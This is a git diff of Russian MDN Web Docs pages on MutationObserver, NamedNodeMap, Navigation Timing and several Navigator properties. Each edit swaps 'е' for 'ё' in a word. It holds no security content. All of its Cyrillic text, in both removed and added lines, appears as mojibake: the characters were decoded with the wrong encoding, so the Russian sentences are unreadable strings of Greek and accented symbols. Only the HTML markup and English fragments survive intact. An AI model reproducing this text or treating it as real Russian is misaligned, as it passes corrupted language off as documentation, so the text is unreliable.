--- a/files/ru/web/api/mutationobserver/index.html
+++ b/files/ru/web/api/mutationobserver/index.html
@@ -19,7 +19,7 @@ translation_of: Web/API/MutationObserver
<dl>
<dt>{{domxref("MutationObserver.MutationObserver", "MutationObserver()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉΒ <code>MutationObserver</code>,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈΒ Π² DOM.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉΒ <code>MutationObserver</code>,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈΒ Π² DOM.</dd>
</dl>
<h2 id="ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹">ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</h2>
@@ -91,7 +91,7 @@ translation_of: Web/API/MutationObserver
<tr>
<td><code>attributeFilter</code></td>
<td>
- <p>УстанавливаСт массив Π½Π°Π·Π²Π°Π½ΠΈΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² (Π±Π΅Π· указания пространства ΠΈΠΌΠ΅Π½), Ссли трСбуСтся Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚ΡŒ Π·Π° измСнСниями ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ².Β </p>
+ <p>УстанавливаСт массив Π½Π°Π·Π²Π°Π½ΠΈΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² (Π±Π΅Π· указания пространства ΠΈΠΌΡ‘Π½), Ссли трСбуСтся Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚ΡŒ Π·Π° измСнСниями ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ².Β </p>
</td>
</tr>
</tbody>
@@ -126,7 +126,7 @@ const callback = function(mutationsList, observer) {
Β  }
};
-// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ<code> </code>экзСмпляр Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»Ρ с ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ колбэка
+// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ<code> </code>экзСмпляр Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»Ρ с ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ колбэка
const observer = new MutationObserver(callback);
// НачинаСм наблюдСниС Π·Π° настроСнными измСнСниями Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ элСмСнта<code>
diff --git a/files/ru/web/api/namednodemap/index.html b/files/ru/web/api/namednodemap/index.html
index 2ea97e0010..d681c41a11 100644
--- a/files/ru/web/api/namednodemap/index.html
+++ b/files/ru/web/api/namednodemap/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/NamedNodeMap
---
<div>{{APIRef("DOM")}}</div>
-<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ <code><strong>NamedNodeMap</strong></code> прСдставляСт собой ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Attr")}}. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>NamedNodeMap</code> Π½Π΅ находятся Π² ΠΊΠ°ΠΊΠΎΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ порядкС, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{domxref("NodeList")}}, хотя ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ доступны ΠΏΡ€ΠΈ использовании индСкса, ΠΊΠ°ΠΊ Π² массивС.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ <code><strong>NamedNodeMap</strong></code> прСдставляСт собой ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Attr")}}. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>NamedNodeMap</code> Π½Π΅ находятся Π² ΠΊΠ°ΠΊΠΎΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ порядкС, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{domxref("NodeList")}}, хотя ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ доступны ΠΏΡ€ΠΈ использовании индСкса, ΠΊΠ°ΠΊ Π² массивС.</p>
<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ NamedNodeMap являСтся "ΠΆΠΈΠ²Ρ‹ΠΌ" ΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π±ΡƒΠ΄Π΅Ρ‚ автоматичСски ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒΡΡ, Ссли измСнСния Π±ΡƒΠ΄ΡƒΡ‚ внСсСны Π² Π΅Π³ΠΎ содСрТимоС Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΠ»ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ мСстС.</p>
@@ -36,11 +36,11 @@ translation_of: Web/API/NamedNodeMap
<dt>{{domxref("NamedNodeMap.item()")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{domxref ("Attr")}} ΠΏΠΎ Π·Π°Π΄Π°Π½Π½ΠΎΠΌΡƒ индСксу ΠΈΠ»ΠΈ null, Ссли индСкс большС ΠΈΠ»ΠΈ Ρ€Π°Π²Π΅Π½ числу ΡƒΠ·Π»ΠΎΠ².</dd>
<dt>{{domxref("NamedNodeMap.getNamedItemNS()")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref ("Attr")}}, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ пространством ΠΈΠΌΠ΅Π½ ΠΈ связанным Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref ("Attr")}}, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ пространством ΠΈΠΌΡ‘Π½ ΠΈ связанным Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ.</dd>
<dt>{{domxref("NamedNodeMap.setNamedItemNS()")}}</dt>
- <dd>ЗамСняСт ΠΈΠ»ΠΈ добавляСт {{domxref ("Attr")}}, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ NamedNodeMap Π΄Π°Π½Π½Ρ‹ΠΌ пространством ΠΈΠΌΠ΅Π½ ΠΈ связанным Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ.</dd>
+ <dd>ЗамСняСт ΠΈΠ»ΠΈ добавляСт {{domxref ("Attr")}}, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ NamedNodeMap Π΄Π°Π½Π½Ρ‹ΠΌ пространством ΠΈΠΌΡ‘Π½ ΠΈ связанным Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ.</dd>
<dt>{{domxref("NamedNodeMap.removeNamedItemNS()")}}</dt>
- <dd>УдаляСт {{domxref ("Attr")}}, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π΄Π°Π½Π½Ρ‹ΠΌ пространством ΠΈΠΌΠ΅Π½ ΠΈ связанным Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ.</dd>
+ <dd>УдаляСт {{domxref ("Attr")}}, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π΄Π°Π½Π½Ρ‹ΠΌ пространством ΠΈΠΌΡ‘Π½ ΠΈ связанным Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ.</dd>
</dl>
<h2 id="Specifications">Specifications</h2>
@@ -77,7 +77,7 @@ translation_of: Web/API/NamedNodeMap
<h2 id="Browser_compatibility">Browser compatibility</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</div>
<p>{{Compat("api.NamedNodeMap")}}</p>
diff --git a/files/ru/web/api/navigation_timing_api/index.html b/files/ru/web/api/navigation_timing_api/index.html
index 444e3f47b5..be889bd69f 100644
--- a/files/ru/web/api/navigation_timing_api/index.html
+++ b/files/ru/web/api/navigation_timing_api/index.html
@@ -69,7 +69,7 @@ translation_of: Web/API/Navigation_timing_API
<tr>
<td><a name="const_next_no_duplicate"><code>TYPE_RELOAD</code></a></td>
<td>1</td>
- <td>Навигация ΠΏΡƒΡ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы ΠΈΠ»ΠΈ выполнСния ΠΌΠ΅Ρ‚ΠΎΠ΄Π° location.reload().</td>
+ <td>Навигация ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΏΠ΅Ρ€Π΅Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы ΠΈΠ»ΠΈ выполнСния ΠΌΠ΅Ρ‚ΠΎΠ΄Π° location.reload().</td>
</tr>
<tr>
<td><a name="const_prev"><code>TYPE_BACK_FORWARD</code></a></td>
diff --git a/files/ru/web/api/navigator/battery/index.html b/files/ru/web/api/navigator/battery/index.html
index 07f8e7f84b..4ca4b15feb 100644
--- a/files/ru/web/api/navigator/battery/index.html
+++ b/files/ru/web/api/navigator/battery/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/battery
---
<p>{{ ApiRef("Battery API") }}{{deprecated_header}}</p>
-<p>Бвойство <code>battery</code> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния  Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π΅ {{DOMxRef("BatteryManager")}} ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± ΡƒΡ€ΠΎΠ²Π½Π΅ заряда систСмной Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ; прСдоставляСт Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΠΎΠ²Ρ‹Π΅ события, <span id="result_box" lang="ru"><span class="hps">ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹</span> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚Π΅</span> <span class="hps">ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ</span> <span class="hps">ΠΈ контролируя состояниС Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ</span><span>.</span></span>Оно Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ <a href="/en-US/docs/WebAPI/Battery_Status">API состояния Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ</a>;<span id="result_box" lang="ru"><span class="hps"> смотритС</span> <span class="hps">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ</span> <span class="hps">для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ</span><span>, руководство</span> <span class="hps">ΠΏΠΎ использованию</span> <span class="hps">API</span> <span class="hps">ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΠ΄Π°</span><span>.</span></span></p>
+<p>Бвойство <code>battery</code> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния  Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π΅ {{DOMxRef("BatteryManager")}} ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄Π°Ρ‘Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± ΡƒΡ€ΠΎΠ²Π½Π΅ заряда систСмной Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ; прСдоставляСт Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΠΎΠ²Ρ‹Π΅ события, <span id="result_box" lang="ru"><span class="hps">ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹</span> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚Π΅</span> <span class="hps">ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ</span> <span class="hps">ΠΈ контролируя состояниС Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ</span><span>.</span></span>Оно Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ <a href="/en-US/docs/WebAPI/Battery_Status">API состояния Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ</a>;<span id="result_box" lang="ru"><span class="hps"> смотритС</span> <span class="hps">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ</span> <span class="hps">для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ</span><span>, руководство</span> <span class="hps">ΠΏΠΎ использованию</span> <span class="hps">API</span> <span class="hps">ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΠ΄Π°</span><span>.</span></span></p>
<div class="note">
<p>Бвойство <code>battery</code> устарСло ΠΈ Π±Ρ‹Π»ΠΎ Π·Π°ΠΌΠ΅Π½Π΅Π½ΠΎ {{DOMxRef("Navigator.getBattery()")}}. ΠœΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{DOMxRef("Promise")}}. Π₯отя ΠΎΠ½ΠΎ частично поддСрТиваСтся.</p>
diff --git a/files/ru/web/api/navigator/cookieenabled/index.html b/files/ru/web/api/navigator/cookieenabled/index.html
index ee1d6c8fcb..d04a4659e9 100644
--- a/files/ru/web/api/navigator/cookieenabled/index.html
+++ b/files/ru/web/api/navigator/cookieenabled/index.html
@@ -19,7 +19,7 @@ translation_of: Web/API/Navigator/cookieEnabled
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
<pre class="brush: js">if (!navigator.cookieEnabled) {
- // ΠΏΡƒΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π·Π½Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΊΡƒΠΊΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ страницу Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ.
+ // ΠΏΡƒΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π·Π½Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ ΠΊΡƒΠΊΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ страницу Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ.
</pre>
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_Π²_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅</h2>
diff --git a/files/ru/web/api/navigator/geolocation/index.html b/files/ru/web/api/navigator/geolocation/index.html
index c459c40672..7f58143885 100644
--- a/files/ru/web/api/navigator/geolocation/index.html
+++ b/files/ru/web/api/navigator/geolocation/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/geolocation
---
<p>{{ APIRef("Geolocation API") }}</p>
-<p>Бвойство <strong><code>Navigator.geolocation</code></strong> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Geolocation")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Π΅Ρ‚ Π²Π΅Π± ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ доступ ΠΊ ΠΌΠ΅ΡΡ‚ΠΎΡ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ устройства. Π­Ρ‚ΠΎ позволяСт Π²Π΅Π±-сайту ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ основанный Π½Π° мСсторасполоТСнии ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
+<p>Бвойство <strong><code>Navigator.geolocation</code></strong> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Geolocation")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Ρ‘Ρ‚ Π²Π΅Π± ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ доступ ΠΊ ΠΌΠ΅ΡΡ‚ΠΎΡ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ устройства. Π­Ρ‚ΠΎ позволяСт Π²Π΅Π±-сайту ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ основанный Π½Π° мСсторасполоТСнии ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
<div class="note">
<p><span id="result_box" lang="ru"><strong><span class="hps">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</span><span>:</span> </strong><span class="hps">По сообраТСниям</span> <span class="hps">бСзопасности</span><span>,</span> <span class="hps">ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">Π²Π΅Π±-страница</span> <span class="hps">пытаСтся</span> <span class="hps">ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ</span> <span class="hps">ΠΎ мСстополоТСнии,</span> <span class="hps">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅</span> <span class="hps">с ΠΏΡ€ΠΎΡΡŒΠ±ΠΎΠΉ</span> <span class="hps">Π΄Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅</span><span>.</span></span><span id="result_box" lang="ru"><span class="hps"> ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ</span> <span class="hps">ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span> <span class="hps">ΠΈΠΌΠ΅Π΅Ρ‚ свои</span> <span class="hps">собствСнныС ΠΏΡ€Π°Π²ΠΈΠ»Π°</span> <span class="hps">ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹</span> <span class="hps">для запроса</span> <span class="hps">этого Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ</span><span>.</span></span></p>
diff --git a/files/ru/web/api/navigator/getgamepads/index.html b/files/ru/web/api/navigator/getgamepads/index.html
index bc5200cbe1..6864d08b0f 100644
--- a/files/ru/web/api/navigator/getgamepads/index.html
+++ b/files/ru/web/api/navigator/getgamepads/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/getGamepads
---
<p>{{APIRef("Gamepad API")}}{{SeeCompatTable}}</p>
-<p><strong><code>Navigator.getGamepads()</code></strong> ΠΌΠ΅Ρ‚ΠΎΠ΄, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰ΠΈΠΉ массив {{ domxref("Gamepad") }} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠΌΡƒ ΠΊ устройству.</p>
+<p><strong><code>Navigator.getGamepads()</code></strong> ΠΌΠ΅Ρ‚ΠΎΠ΄, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰ΠΈΠΉ массив {{ domxref("Gamepad") }} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠΌΡƒ ΠΊ устройству.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/navigator/getvrdisplays/index.html b/files/ru/web/api/navigator/getvrdisplays/index.html
index 4c37427910..cb4f67d313 100644
--- a/files/ru/web/api/navigator/getvrdisplays/index.html
+++ b/files/ru/web/api/navigator/getvrdisplays/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/getVRDisplays
---
<div>{{DefaultAPISidebar("WebVR API")}}{{SeeCompatTable}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>getVRDisplays()</code></strong> интСрфСйса {{domxref("Navigator")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Ρ‚ΠΈΠΏΠ° {{domxref("VRDisplay")}}, ΡΠ²Π»ΡΡŽΡ‰ΠΈΡ…ΡΡ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ любого доступного ΠΈΠ· ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… ΠΊ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ VR устройств.</p>
